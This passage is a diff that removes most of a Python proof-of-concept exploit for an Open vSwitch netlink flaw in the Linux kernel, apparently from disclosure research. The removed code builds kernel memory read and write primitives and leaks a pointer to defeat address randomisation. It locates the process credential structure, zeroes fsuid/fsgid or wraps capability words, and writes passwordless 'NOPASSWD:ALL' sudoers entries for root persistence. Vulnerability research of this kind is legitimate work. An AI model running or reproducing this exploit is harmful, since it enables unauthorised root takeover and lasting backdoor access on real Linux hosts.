-                    "could not build any kernel offset plan because "
-                    f"{reason}. For a definitive check of whether you are "
-                    "affected, see https://heyitsas.im/posts/ovswrap"
-                ) from exc
-            log(f"kernel offsets: dynamic plan unavailable: {exc}")
-
-    if not plans:
-        raise RuntimeError(
-            "could not build any kernel offset plan for this kernel"
-        )
-    log(
-        "kernel offsets: candidate plans (in try order): "
-        + ", ".join(plan.name for plan in plans)
-    )
-    return plans
-
-
-def current_kernel_parameters() -> tuple[KernelOffsets, KernelBuildRecord | None]:
-    plans = build_kernel_parameter_plans()
-    plan = plans[0]
-    derive_ovs_uapi_constants(plan.record)
-    if plan.record is not None:
-        if plan.name.startswith("hybrid"):
-            log(
-                "kernel offsets: starting with hybrid/BTF struct layouts "
-                f"({plan.name})"
-            )
-        elif plan.name == "pre-derived":
-            log("kernel offsets: starting with pre-derived values")
-        else:
-            log(f"kernel offsets: starting with {plan.name}")
-    else:
-        log("kernel offsets: starting with dynamically derived values")
-    return plan.offsets, plan.record
-
-
-def create_datapath(genl: GenericNetlink, family_id: int, name: str) -> None:
-    payload = struct.pack("i", 0)
-    payload += nla(OVS_DP_ATTR_NAME, cstr(name))
-    payload += nla(OVS_DP_ATTR_UPCALL_PID, struct.pack("I", 0))
-    payload += nla(OVS_DP_ATTR_USER_FEATURES, struct.pack("I", 0))
-    genl.request(
-        family_id,
-        OVS_DP_CMD_NEW,
-        OVS_DATAPATH_VERSION,
-        payload,
-        NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE,
-    )
-
-
-def flow_key(seq: int) -> bytes:
-    src_ip = 0x0A000000 | ((seq & 0xFFFF) + 1)
-    return b"".join(
-        [
-            nla(OVS_KEY_ATTR_IN_PORT, struct.pack("I", 0)),
-            nla(
-                OVS_KEY_ATTR_ETHERNET,
-                b"\x02\x00\x00\x00\x00\x01" + b"\x02\x00\x00\x00\x00\x02",
-            ),
-            nla(OVS_KEY_ATTR_ETHERTYPE, struct.pack("!H", ETH_P_IP)),
-            nla(
-                OVS_KEY_ATTR_IPV4,
-                struct.pack("!IIBBBB", src_ip, 0x0A0000FE, IPPROTO_TCP, 0, 64, 0),
-            ),
-            nla(OVS_KEY_ATTR_TCP, struct.pack("!HH", 10000 + (seq % 50000), 443)),
-            nla(OVS_KEY_ATTR_TCP_FLAGS, struct.pack("!H", 0)),
-        ]
-    )
-
-
-def ct_action(payload: bytes = b"") -> bytes:
-    return nla(OVS_ACTION_ATTR_CT, nla(OVS_CT_ATTR_COMMIT, b"") + payload)
-
-
-def ct_helper_payload() -> bytes:
-    return nla(OVS_CT_ATTR_HELPER, b"ftp\x00")
-
-
-def clone_with_helper_leak(fake_action: bytes) -> bytes:
-    labels = bytearray(32)
-    labels[20 : 20 + len(fake_action)] = fake_action
-    payload = nla(OVS_CT_ATTR_LABELS, bytes(labels)) + ct_helper_payload()
-    helper_payload = ct_helper_payload()
-    return nla(
-        OVS_ACTION_ATTR_CLONE,
-        ct_action(payload) + ct_action(helper_payload) * (CT_ACTION_COUNT - 1),
-    )
-
-
-def clone_with_fake_set_timeout(tun_dst: int) -> bytes:
-    labels = bytearray(32)
-    labels[20:24] = struct.pack(NLA_HDR, 0xFFFF, OVS_ACTION_ATTR_SET)
-    labels[24:28] = struct.pack(NLA_HDR, 12, OVS_KEY_ATTR_TUNNEL_INFO)
-    labels[28:32] = struct.pack("<I", tun_dst & 0xFFFFFFFF)
-    timeout = bytearray(32)
-    timeout[0:4] = struct.pack("<I", (tun_dst >> 32) & 0xFFFFFFFF)
-    payload = nla(OVS_CT_ATTR_LABELS, bytes(labels))
-    payload += nla(OVS_CT_ATTR_TIMEOUT, bytes(timeout))
-    return nla(
-        OVS_ACTION_ATTR_CLONE,
-        ct_action(payload) + ct_action() * (CT_ACTION_COUNT - 1),
-    )
-
-
-def labels_only_wrap_plan(ct_action_len: int, labels_offset: int) -> tuple[int, int]:
-    if ct_action_len < 8 or ct_action_len % 4:
-        raise RuntimeError(f"unexpected OVS CT action length {ct_action_len}")
-    fake_offset = 16
-    target_wrap = 8 + labels_offset + fake_offset
-    if target_wrap >= 0x10000 or target_wrap % 4:
-        raise RuntimeError(
-            f"cannot target labels-only fake SET wrap offset 0x{target_wrap:x}"
-        )
-    best_score: int | None = None
-    best_total = 0
-    best_pad = 0
-    for total_ct_actions in range(360, 421):
-        base_wrap = (4 + total_ct_actions * ct_action_len) & 0xFFFF
-        diff = (target_wrap - base_wrap) & 0xFFFF
-        pad_count = diff // 4
-        true_len = 4 + total_ct_actions * ct_action_len + pad_count * 4
-        if true_len <= 0xFFFF or pad_count > 256:
-            continue
-        score = pad_count + abs(total_ct_actions - 400)
-        if best_score is None or score < best_score:
-            best_score = score
-            best_total = total_ct_actions
-            best_pad = pad_count
-    if best_score is None:
-        raise RuntimeError(
-            "could not build labels-only fake SET wrap plan for "
-            f"ct_action_len={ct_action_len} labels_offset={labels_offset}"
-        )
-    return best_total, best_pad
-
-
-def clone_with_fake_set_tunnel_labels_only(
-    tun_dst: int, ct_action_len: int, labels_offset: int
-) -> bytes:
-    total_ct_actions, pad_count = labels_only_wrap_plan(
-        ct_action_len, labels_offset
-    )
-    fake_offset = 16
-    labels = bytearray(32)
-    labels[fake_offset : fake_offset + 4] = struct.pack(
-        NLA_HDR, 0xFFFF, OVS_ACTION_ATTR_SET
-    )
-    labels[fake_offset + 4 : fake_offset + 8] = struct.pack(
-        NLA_HDR, 12, OVS_KEY_ATTR_TUNNEL_INFO
-    )
-    labels[fake_offset + 8 : fake_offset + 16] = struct.pack("<Q", tun_dst)
-    payload = nla(OVS_CT_ATTR_LABELS, bytes(labels))
-    pad = nla(OVS_ACTION_ATTR_POP_VLAN, b"") * pad_count
-    return nla(
-        OVS_ACTION_ATTR_CLONE,
-        ct_action(payload) + ct_action() * (total_ct_actions - 1) + pad,
-    )
-
-
-def clone_with_fake_set_carrier(
-    carrier: str, tun_dst: int, offsets: KernelOffsets
-) -> bytes:
-    if carrier == CARRIER_TIMEOUT:
-        return clone_with_fake_set_timeout(tun_dst)
-    if carrier == CARRIER_LABELS_ONLY:
-        return clone_with_fake_set_tunnel_labels_only(
-            tun_dst,
-            offsets.ovs_ct_action_len,
-            offsets.ovs_ct_labels,
-        )
-    raise RuntimeError(f"unknown fake SET carrier {carrier!r}")
-
-
-def fake_set_carrier_error(exc: Exception) -> bool:
-    if isinstance(exc, OSError):
-        return exc.errno == errno.EINVAL
-    return "flow get response did not include actions" in str(exc)
-
-
-class FakeSetCarriers:
-    def __init__(self, mode: str, label: str) -> None:
-        if mode not in CARRIER_ORDER and mode != CARRIER_AUTO:
-            raise RuntimeError(f"unknown {label} carrier mode {mode!r}")
-        self.mode = mode
-        self.label = label
-        self.timeout_disabled = False
-
-    def names(self) -> tuple[str, ...]:
-        if self.mode != CARRIER_AUTO:
-            return (self.mode,)
-        if self.timeout_disabled:
-            return (CARRIER_LABELS_ONLY,)
-        return CARRIER_ORDER
-
-    def retry_after(self, carrier: str, has_next: bool) -> bool:
-        if self.mode != CARRIER_AUTO or carrier != CARRIER_TIMEOUT or not has_next:
-            return False
-        print(
-            f"fake SET timeout carrier failed for {self.label}; "
-            "using labels-only carrier",
-            flush=True,
-        )
-        self.timeout_disabled = True
-        return True
-
-
-def create_flow(
-    genl: GenericNetlink,
-    family_id: int,
-    dp_ifindex: int,
-    key: bytes,
-    actions: bytes,
-) -> None:
-    payload = (
-        struct.pack("i", dp_ifindex)
-        + nla(OVS_FLOW_ATTR_KEY, key)
-        + nla(OVS_FLOW_ATTR_ACTIONS, actions)
-    )
-    genl.request(
-        family_id,
-        OVS_FLOW_CMD_NEW,
-        OVS_FLOW_VERSION,
-        payload,
-        NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE,
-    )
-
-
-def delete_flow(genl: GenericNetlink, family_id: int, dp_ifindex: int, key: bytes) -> None:
-    payload = struct.pack("i", dp_ifindex) + nla(OVS_FLOW_ATTR_KEY, key)
-    genl.request(
-        family_id,
-        OVS_FLOW_CMD_DEL,
-        OVS_FLOW_VERSION,
-        payload,
-        NLM_F_REQUEST | NLM_F_ACK,
-    )
-
-
-def get_flow_actions(
-    genl: GenericNetlink, family_id: int, dp_ifindex: int, key: bytes
-) -> bytes:
-    payload = struct.pack("i", dp_ifindex) + nla(OVS_FLOW_ATTR_KEY, key)
-    replies = genl.request(family_id, OVS_FLOW_CMD_GET, OVS_FLOW_VERSION, payload)
-    if not replies:
-        raise RuntimeError("flow get returned no replies")
-    for attr in parse_attrs(replies[0][8:]):
-        if attr.attr_type == OVS_FLOW_ATTR_ACTIONS:
-            return attr.payload
-    raise RuntimeError("flow get response did not include actions")
-
-
-def likely_kernel_pointers(buf: bytes) -> list[tuple[int, int]]:
-    hits: list[tuple[int, int]] = []
-    for offset in range(0, max(0, len(buf) - 7)):
-        value = struct.unpack_from("<Q", buf, offset)[0]
-        if 0xFFFF800000000000 <= value <= 0xFFFFFFFFFFFFFFFF:
-            hits.append((offset, value))
-    return hits
-
-
-def find_helper_pointer(actions: bytes) -> int:
-    for top in parse_attrs(actions):
-        if top.attr_type == OVS_ACTION_ATTR_OUTPUT and top.raw_len == 512:
-            hits = likely_kernel_pointers(top.payload)
-            helperish = [
-                value
-                for _off, value in hits
-                if 0xFFFFFFFFC0000000 <= value <= 0xFFFFFFFFDFFFFFFF
-                and (value & 0x7) == 0
-            ]
-            if helperish:
-                return helperish[0]
-            if hits:
-                return hits[0][1]
-    raise RuntimeError("no helper pointer found in fake OUTPUT leak")
-
-
-class OvsReadPrimitive:
-    def __init__(
-        self,
-        genl: GenericNetlink,
-        flow_family: int,
-        dp_ifindex: int,
-        offsets: KernelOffsets,
-        carrier_mode: str = CARRIER_AUTO,
-        preferred_lanes: tuple[str, ...] = (),
-    ) -> None:
-        self.genl = genl
-        self.flow_family = flow_family
-        self.dp_ifindex = dp_ifindex
-        self.offsets = offsets
-        self.carriers = FakeSetCarriers(carrier_mode, "read")
-        self.seq = 1000
-        self.scalar_lanes = (
-            TunnelReadLane(
-                "tos",
-                offsets.ip_tunnel_key_tos,
-                OVS_TUNNEL_KEY_ATTR_TOS,
-                0,
-                True,
-            ),
-            TunnelReadLane(
-                "ttl",
-                offsets.ip_tunnel_key_ttl,
-                OVS_TUNNEL_KEY_ATTR_TTL,
-                0,
-                False,
-            ),
-            TunnelReadLane(
-                "tp_src_0",
-                offsets.ip_tunnel_key_tp_src,
-                OVS_TUNNEL_KEY_ATTR_TP_SRC,
-                0,
-                True,
-            ),
-            TunnelReadLane(
-                "tp_src_1",
-                offsets.ip_tunnel_key_tp_src + 1,
-                OVS_TUNNEL_KEY_ATTR_TP_SRC,
-                1,
-                True,
-            ),
-            TunnelReadLane(
-                "tp_dst_0",
-                offsets.ip_tunnel_key_tp_dst,
-                OVS_TUNNEL_KEY_ATTR_TP_DST,
-                0,
-                True,
-            ),
-            TunnelReadLane(
-                "tp_dst_1",
-                offsets.ip_tunnel_key_tp_dst + 1,
-                OVS_TUNNEL_KEY_ATTR_TP_DST,
-                1,
-                True,
-            ),
-        )
-        self.ipv4_lanes = tuple(
-            TunnelReadLane(
-                f"ipv4_src_{index}",
-                offsets.ip_tunnel_key_ipv4_src + index,
-                OVS_TUNNEL_KEY_ATTR_IPV4_SRC,
-                index,
-                True,
-            )
-            for index in range(4)
-        ) + tuple(
-            TunnelReadLane(
-                f"ipv4_dst_{index}",
-                offsets.ip_tunnel_key_ipv4_dst + index,
-                OVS_TUNNEL_KEY_ATTR_IPV4_DST,
-                index,
-                True,
-            )
-            for index in range(4)
-        )
-        default_lanes = self.scalar_lanes + self.ipv4_lanes
-        preferred_names = set(preferred_lanes)
-        preferred = tuple(
-            lane
-            for name in preferred_lanes
-            for lane in default_lanes
-            if lane.name == name
-        )
-        remaining = tuple(lane for lane in default_lanes if lane.name not in preferred_names)
-        self.read_lanes = preferred + remaining
-
-    def read_u8_with_lane(self, address: int, lane: TunnelReadLane) -> int | None:
-        key_start = address - lane.field_offset
-        tun_dst = key_start - self.offsets.metadata_dst_tun_info
-        dumped = b""
-        carriers = self.carriers.names()
-        for index, carrier in enumerate(carriers):
-            self.seq += 1
-            key = flow_key(self.seq)
-            actions = clone_with_fake_set_carrier(carrier, tun_dst, self.offsets)
-            try:
-                create_flow(self.genl, self.flow_family, self.dp_ifindex, key, actions)
-                dumped = get_flow_actions(
-                    self.genl, self.flow_family, self.dp_ifindex, key
-                )
-                break
-            except (OSError, RuntimeError) as exc:
-                if fake_set_carrier_error(exc):
-                    if self.carriers.retry_after(carrier, index + 1 < len(carriers)):
-                        continue
-                    return None
-                raise
-        for top in parse_attrs(dumped):
-            if top.attr_type != OVS_ACTION_ATTR_SET:
-                continue
-            for tunnel_key in parse_attrs(top.payload):
-                if tunnel_key.attr_type != OVS_KEY_ATTR_TUNNEL:
-                    continue
-                saw_tunnel = False
-                for tunnel_attr in parse_attrs(tunnel_key.payload):
-                    if tunnel_attr.attr_type == OVS_TUNNEL_KEY_ATTR_IPV4_INFO_BRIDGE:
-                        return None
-                    saw_tunnel = True
-                    if tunnel_attr.attr_type == lane.attr_type:
-                        if len(tunnel_attr.payload) <= lane.payload_index:
-                            raise RuntimeError(
-                                f"unexpected {lane.name} payload length "
-                                f"{len(tunnel_attr.payload)}"
-                            )
-                        return tunnel_attr.payload[lane.payload_index]
-                if saw_tunnel and lane.optional_zero:
-                    return 0
-        return None
-
-    def read_u8(self, address: int) -> int:
-        for lane in self.read_lanes:
-            value = self.read_u8_with_lane(address, lane)
-            if value is not None:
-                return value
-        raise RuntimeError(
-            f"fixed tunnel carriers could not read byte at 0x{address:016x}"
-        )
-
-    def read_bytes(self, address: int, size: int) -> bytes:
-        return bytes(self.read_u8(address + offset) for offset in range(size))
-
-    def read_u32(self, address: int) -> int:
-        return int(struct.unpack("<I", self.read_bytes(address, 4))[0])
-
-    def read_u64(self, address: int) -> int:
-        return int(struct.unpack("<Q", self.read_bytes(address, 8))[0])
-
-
-class OvsWritePrimitive:
-    def __init__(
-        self,
-        genl: GenericNetlink,
-        flow_family: int,
-        dp_ifindex: int,
-        offsets: KernelOffsets,
-        carrier_mode: str = CARRIER_AUTO,
-    ) -> None:
-        self.genl = genl
-        self.flow_family = flow_family
-        self.dp_ifindex = dp_ifindex
-        self.offsets = offsets
-        self.carriers = FakeSetCarriers(carrier_mode, "write")
-        self.seq = 100000000
-
-    def decrement_u32_once(self, target_address: int) -> None:
-        tun_dst = target_address - self.offsets.dst_entry_ref
-        carriers = self.carriers.names()
-        for index, carrier in enumerate(carriers):
-            self.seq += 1
-            key = flow_key(self.seq)
-            actions = clone_with_fake_set_carrier(carrier, tun_dst, self.offsets)
-            try:
-                create_flow(self.genl, self.flow_family, self.dp_ifindex, key, actions)
-                delete_flow(self.genl, self.flow_family, self.dp_ifindex, key)
-                return
-            except OSError as exc:
-                if exc.errno == errno.ENOMEM:
-                    raise RuntimeError(
-                        "Ran out of memory; reattempt the PoC after a reboot "
-                        "or with more RAM (recommended 2GB+)."
-                    ) from exc
-                if fake_set_carrier_error(exc):
-                    if self.carriers.retry_after(carrier, index + 1 < len(carriers)):
-                        continue
-                    raise RuntimeError(
-                        f"fake SET {carrier} write carrier failed"
-                    ) from exc
-                raise
-
-
-def valid_vmlinux_base(value: int) -> bool:
-    return (
-        0xFFFFFFFF80000000 <= value <= 0xFFFFFFFFF0000000
-        and value % 0x200000 == 0
-    )
-
-
-def derive_helper_module_ktype(
-    reader: OvsReadPrimitive,
-    helper_me_address: int,
-    helper_pointer: int,
-    offsets: KernelOffsets,
-) -> int:
-    module_pointer = canonicalize_kernel_pointer(reader.read_u64(helper_me_address))
-    if not (
-        canonical_kernel_pointer(module_pointer)
-        and helper_pointer - 0x800000 <= module_pointer <= helper_pointer + 0x800000
-    ):
-        raise RuntimeError(
-            "helper->me did not read as a nearby canonical module pointer: "
-            f"helper=0x{helper_pointer:016x} me=0x{module_pointer:016x}"
-        )
-    ktype_addr = module_pointer + offsets.module_kobj_ktype
-    module_ktype = canonicalize_kernel_pointer(reader.read_u64(ktype_addr))
-    if not valid_vmlinux_base(module_ktype - offsets.vmlinux_module_ktype):
-        raise RuntimeError(
-            f"module.kobj.ktype at 0x{ktype_addr:016x} read "
-            f"0x{module_ktype:016x}, which does not match the expected "
-            "vmlinux symbol offset"
-        )
-    log(f"helper->me module pointer 0x{module_pointer:016x} validated directly")
-    return module_ktype
-
-
-def canonicalize_kernel_pointer(value: int) -> int:
-    if 0xFFFF800000000000 <= value <= 0xFFFFFFFFFFFFFFFF:
-        return value
-    if 0x0000008000000000 <= value <= 0x000000FFFFFFFFFF:
-        return value | 0xFFFFFF0000000000
-    if 0x0000800000000000 <= value <= 0x0000FFFFFFFFFFFF:
-        return value | 0xFFFF000000000000
-    if 0x0080000000000000 <= value <= 0x00FFFFFFFFFFFFFF:
-        return value | 0xFF00000000000000
-    return value
-
-
-def canonical_kernel_pointer(value: int) -> bool:
-    canonical = canonicalize_kernel_pointer(value)
-    return 0xFF00000000000000 <= canonical <= 0xFFFFFFFFFFFFFFFF and canonical % 8 == 0
-
-
-def read_kernel_pointer(
-    reader: OvsReadPrimitive,
-    address: int,
-    label: str,
-) -> int:
-    pointer = canonicalize_kernel_pointer(reader.read_u64(address))
-    if not canonical_kernel_pointer(pointer):
-        raise RuntimeError(
-            f"{label} at 0x{address:016x} is not a canonical kernel pointer: "
-            f"0x{pointer:016x}"
-        )
-    return pointer
-
-
-def xarray_entry_to_node(entry: int) -> int | None:
-    if entry == 0 or (entry & 0x3) != 0x2:
-        return None
-    node = canonicalize_kernel_pointer(entry & ~0x3)
-    if canonical_kernel_pointer(node):
-        return node
-    return None
-
-
-def xarray_entry_to_pointer(entry: int) -> int | None:
-    if entry == 0 or (entry & 0x3) != 0:
-        return None
-    pointer = canonicalize_kernel_pointer(entry)
-    if canonical_kernel_pointer(pointer):
-        return pointer
-    return None
-
-
-def read_xarray_entry(
-    reader: OvsReadPrimitive,
-    address: int,
-    label: str,
-) -> int:
-    value = reader.read_u64(address)
-    node = xarray_entry_to_node(value)
-    if node is not None:
-        return node | 0x2
-    pointer = xarray_entry_to_pointer(value)
-    if pointer is not None:
-        return pointer
-    raise RuntimeError(
-        f"{label} at 0x{address:016x} is not a valid XArray entry: "
-        f"0x{value:016x}"
-    )
-
-
-def read_xa_shift(reader: OvsReadPrimitive, address: int) -> int:
-    value = reader.read_u8(address)
-    if value > 60 or value % 6 != 0:
-        raise RuntimeError(
-            f"XArray node shift at 0x{address:016x} is invalid: {value}"
-        )
-    return value
-
-
-def lookup_init_pid_ns_pid(
-    reader: OvsReadPrimitive,
-    offsets: KernelOffsets,
-    kernel_base: int,
-    pid_nr: int,
-) -> int:
-    idr_addr = kernel_base + offsets.vmlinux_init_pid_ns + offsets.pid_namespace_idr
-    idr_base = reader.read_u32(idr_addr + offsets.idr_base)
-    if pid_nr < idr_base:
-        raise RuntimeError(f"pid {pid_nr} is below init pid namespace idr_base {idr_base}")
-    index = pid_nr - idr_base
-    xarray_addr = idr_addr + offsets.idr_idr_rt
-
-    entry = read_xarray_entry(
-        reader,
-        xarray_addr + offsets.xarray_xa_head,
-        "init_pid_ns.idr.xa_head",
-    )
-    for depth in range(8):
-        node = xarray_entry_to_node(entry)
-        if node is not None:
-            shift = read_xa_shift(reader, node + offsets.xa_node_shift)
-            slot = (index >> shift) & 0x3F
-            entry = read_xarray_entry(
-                reader,
-                node + offsets.xa_node_slots + slot * 8,
-                f"init_pid_ns.idr.slot[{slot}]",
-            )
-            continue
-        pointer = xarray_entry_to_pointer(entry)
-        if pointer is not None:
-            return pointer
-    raise RuntimeError(f"init_pid_ns idr traversal exceeded depth limit for pid {pid_nr}")
-
-
-def locate_task_by_init_pid_ns(
-    reader: OvsReadPrimitive,
-    offsets: KernelOffsets,
-    kernel_base: int,
-    wanted_pid: int,
-) -> int:
-    pid_struct = lookup_init_pid_ns_pid(reader, offsets, kernel_base, wanted_pid)
-    first = read_kernel_pointer(
-        reader,
-        pid_struct + offsets.pid_tasks + offsets.hlist_head_first,
-        "pid.tasks.first",
-    )
-    task = first - offsets.task_pid_links
-    if not canonical_kernel_pointer(task):
-        raise RuntimeError(
-            f"init_pid_ns idr produced noncanonical task from hlist: "
-            f"pid_struct=0x{pid_struct:016x} hlist=0x{first:016x}"
-        )
-    pid = reader.read_u32(task + offsets.task_pid)
-    if pid != wanted_pid:
-        raise RuntimeError(
-            f"init_pid_ns idr resolved pid_struct=0x{pid_struct:016x} "
-            f"task=0x{task:016x}, but task.pid={pid}, expected {wanted_pid}"
-        )
-    print(
-        f"located task through init_pid_ns idr: "
-        f"pid_struct=0x{pid_struct:016x} task=0x{task:016x}",
-        flush=True,
-    )
-    return task
-
-
-def resolve_writer_task_and_offsets(
-    reader: OvsReadPrimitive,
-    plans: tuple[KernelParameterPlan, ...],
-    helper_pointer: int,
-    writer_pid: int,
-) -> tuple[int, KernelOffsets, int, int]:
-    failures: list[str] = []
-    for plan in plans:
-        try:
-            module_ktype = derive_helper_module_ktype(
-                reader,
-                helper_pointer + plan.offsets.nf_conntrack_helper_me,
-                helper_pointer,
-                plan.offsets,
-            )
-            kernel_base = module_ktype - plan.offsets.vmlinux_module_ktype
-            task = locate_task_by_init_pid_ns(
-                reader,
-                plan.offsets,
-                kernel_base,
-                writer_pid,
-            )
-            cred_addr = task + plan.offsets.task_cred
-            read_kernel_pointer(reader, cred_addr, "task->cred")
-            log(f"kernel offsets: selected plan {plan.name!r}")
-            return task, plan.offsets, kernel_base, module_ktype
-        except RuntimeError as exc:
-            if is_retriable_kernel_layout_error(exc):
-                log(f"kernel offsets: plan {plan.name!r} failed: {exc}")
-                failures.append(f"{plan.name}: {exc}")
-                continue
-            raise
-    raise RuntimeError(
-        "all kernel offset plans failed while locating the host sudoers writer; "
-        "tried: "
-        + ("; ".join(failures) if failures else "no plans were configured")
-    )
-
-
-def decrement_to_zero(
-    reader: OvsReadPrimitive,
-    writer: OvsWritePrimitive,
-    address: int,
-    label: str,
-) -> None:
-    value = reader.read_u32(address)
-    print(f"{label} before={value}", flush=True)
-    if value > 100000:
-        raise RuntimeError(f"{label} value {value} is unexpectedly large")
-    for idx in range(value):
-        writer.decrement_u32_once(address)
-        if idx and idx % 250 == 0:
-            print(f"{label}: queued {idx}/{value} decrements", flush=True)
-    time.sleep(2.0)
-    now = reader.read_u32(address)
-    if now != 0:
-        raise RuntimeError(f"{label} did not reach zero; current value is {now}")
-    print(f"{label} after=0", flush=True)
-
-
-def decrement_zero_to_all_ones(
-    reader: OvsReadPrimitive,
-    writer: OvsWritePrimitive,
-    address: int,
-    label: str,
-) -> None:
-    value = reader.read_u32(address)
-    print(f"{label} before=0x{value:08x}", flush=True)
-    if value != 0:
-        raise RuntimeError(
-            f"{label} expected to start at zero for legacy __refcnt conversion, "
-            f"got 0x{value:08x}"
-        )
-    writer.decrement_u32_once(address)
-    time.sleep(0.5)
-    now = reader.read_u32(address)
-    if now != 0xFFFFFFFF:
-        raise RuntimeError(
-            f"{label} did not wrap to 0xffffffff; current value is 0x{now:08x}"
-        )
-    print(f"{label} after=0xffffffff", flush=True)
-
-
-def panic_on_warn_enabled() -> bool:
-    try:
-        with open("/proc/sys/kernel/panic_on_warn", "r", encoding="ascii") as handle:
-            return handle.read().strip() not in ("", "0")
-    except OSError:
-        return False
-
-
-def convert_writer_credential(
-    reader: OvsReadPrimitive,
-    writer: OvsWritePrimitive,
-    offsets: KernelOffsets,
-    cred: int,
-) -> None:
-    if offsets.dst_entry_ref_kind == "__rcuref":
-        step("DECREMENTING FSUID/FSGID")
-        decrement_to_zero(reader, writer, cred + offsets.cred_fsuid, "fsuid")
-        decrement_to_zero(reader, writer, cred + offsets.cred_fsgid, "fsgid")
-        return
-    if offsets.dst_entry_ref_kind == "__refcnt":
-        if panic_on_warn_enabled():
-            raise RuntimeError(
-                "legacy dst_entry.__refcnt conversion would trigger a kernel "
-                "WARN while wrapping capability words, and panic_on_warn is enabled"
-            )
-        print(
-            "legacy dst_entry.__refcnt conversion: panic_on_warn is disabled; "
-            "wrapping capability words may emit one nonfatal dst_release warning",
-            flush=True,
-        )
-        step("WRAPPING HOST WRITER CAPABILITIES")
-        decrement_zero_to_all_ones(
-            reader,
-            writer,
-            cred + offsets.cred_cap_permitted,
-            "cap_permitted.low",
-        )
-        decrement_zero_to_all_ones(
-            reader,
-            writer,
-            cred + offsets.cred_cap_effective,
-            "cap_effective.low",
-        )
-        return
-    raise RuntimeError(f"unsupported dst_entry ref kind {offsets.dst_entry_ref_kind}")
-
-
-def try_write_root_proof(path: str, text: str) -> bool:
-    try:
-        with open(path, "w", encoding="ascii") as handle:
-            handle.write(text)
-        os.sync()
-        return True
-    except OSError as exc:
-        print(f"write {path} failed: errno={exc.errno} {exc.strerror}", flush=True)
-        return False
-
-
-def restore_pam_unix_from_backup() -> bool:
-    """Restore host pam_unix.so from a known-good backup (needs root creds)."""
-    src = os.environ.get("OVS_C004_PAM_SRC", PAM_UNIX_BAK)
-    dst = os.environ.get("OVS_C004_PAM_DST", PAM_UNIX_SO)
-    try:
-        with open(src, "rb") as handle:
-            payload = handle.read()
-        fd = os.open(dst, os.O_WRONLY | os.O_TRUNC)
-        try:
-            os.write(fd, payload)
-            os.fsync(fd)
-        finally:
-            os.close(fd)
-        os.sync()
-        print(f"pam restore succeeded: {src} -> {dst} ({len(payload)} bytes)", flush=True)
-        return True
-    except OSError as exc:
-        print(
-            f"pam restore {dst} failed: errno={exc.errno} {exc.strerror}",
-            flush=True,
-        )
-        return False
-
-
-def sudoers_references_dropin_dir(
-    sudoers_path: str = SUDOERS_FILE,
-    dropin_dir: str = SUDOERS_DROPIN_DIR,
-) -> bool:
-    try:
-        with open(sudoers_path, "r", encoding="ascii", errors="replace") as handle:
-            for raw_line in handle:
-                line = raw_line.strip()
-                if not line:
-                    continue
-                if line.startswith("#includedir") or line.startswith("@includedir"):
-                    fields = line.split()
-                    if len(fields) >= 2 and fields[1].strip("\"'") == dropin_dir:
-                        return True
-    except OSError as exc:
-        print(
-            f"could not inspect {sudoers_path}: errno={exc.errno} {exc.strerror}",
-            flush=True,
-        )
-    return False
-
-
-def write_sudoers_dropin(path: str, username: str) -> bool:
-    content = f"{username} ALL=(ALL) NOPASSWD:ALL\n".encode("ascii")
-    old_umask = os.umask(0)
-    try:
-        os.makedirs(os.path.dirname(path), mode=0o755, exist_ok=True)
-        fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)
-        try:
-            os.write(fd, content)
-            os.fchmod(fd, 0o440)
-            os.fsync(fd)
-        finally:
-            os.close(fd)
-        os.sync()
-        return True
-    except OSError as exc:
-        print(
-            f"sudoers drop-in write {path} failed: errno={exc.errno} "
-            f"{exc.strerror}",
-            flush=True,
-        )
-        return False
-    finally:
-        os.umask(old_umask)
-
-
-def append_main_sudoers(username: str, path: str = SUDOERS_FILE) -> bool:
-    content = f"\n{username} ALL=(ALL:ALL) NOPASSWD:ALL\n".encode("ascii")
-    try:
-        fd = os.open(path, os.O_WRONLY | os.O_APPEND)
-        try:
-            os.write(fd, content)
-            os.fsync(fd)
-        finally:
-            os.close(fd)
-        os.sync()
-        return True
-    except OSError as exc:
-        print(
-            f"sudoers append {path} failed: errno={exc.errno} {exc.strerror}",
-            flush=True,
-        )
-        return False
-
-
-def replace_main_sudoers(username: str, path: str = SUDOERS_FILE) -> bool:
-    content = f"\n{username} ALL=(ALL:ALL) NOPASSWD:ALL\n".encode("ascii")
-    directory = os.path.dirname(path)
-    tmp_path = os.path.join(directory, f".ovs_c004_sudoers_{os.getpid()}")
-    try:
-        with open(path, "rb") as handle:
-            existing = handle.read()
-        try:
-            os.unlink(tmp_path)
-        except FileNotFoundError:
-            pass
-        fd = os.open(tmp_path, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600)
-        try:
-            os.write(fd, existing)
-            os.write(fd, content)
-            os.fchmod(fd, 0o440)
-            os.fsync(fd)
-        finally:
-            os.close(fd)
-        os.rename(tmp_path, path)
-        dir_fd = os.open(directory, os.O_RDONLY | os.O_DIRECTORY)
-        try:
-            os.fsync(dir_fd)
-        finally:
-            os.close(dir_fd)
-        os.sync()
-        return True
-    except OSError as exc:
-        try:
-            os.unlink(tmp_path)
-        except OSError:
-            pass
-        print(
-            f"sudoers replace {path} failed: errno={exc.errno} {exc.strerror}",
-            flush=True,
-        )
-        return False
-
-
-def write_sudoers_entry(path: str, username: str) -> tuple[bool, str]:
-    if sudoers_references_dropin_dir():
-        if write_sudoers_dropin(path, username):
-            return True, path
-        print(f"falling back to direct append of {SUDOERS_FILE}", flush=True)
-    else:
-        print(
-            f"{SUDOERS_FILE} does not reference {SUDOERS_DROPIN_DIR}; "
-            "using direct sudoers append",
-            flush=True,
-        )
-    if append_main_sudoers(username):
-        return True, SUDOERS_FILE
-    print(f"falling back to atomic replacement of {SUDOERS_FILE}", flush=True)
-    if replace_main_sudoers(username):
-        return True, SUDOERS_FILE
-    return False, ""
-
-
-def try_become_root_ids() -> None:
-    try:
-        os.setresgid(0, 0, 0)
-        os.setresuid(0, 0, 0)
-    except OSError:
-        pass
-
-
-def sleep_forever_detached() -> None:
-    os.setsid()
-    devnull = os.open("/dev/null", os.O_RDWR)
-    os.dup2(devnull, 0)
-    os.dup2(devnull, 1)
-    os.dup2(devnull, 2)
-    if devnull > 2:
-        os.close(devnull)
-    while True:
-        time.sleep(3600)
-
-
-def fork_sudoers_writer(path: str, username: str) -> tuple[int, int, int]:
-    trigger_read, trigger_write = os.pipe()
-    ack_read, ack_write = os.pipe()
-    child = os.fork()
-    if child == 0:
-        os.close(trigger_write)
-        os.close(ack_read)
-        ok = False
-        used_path = ""
-        try:
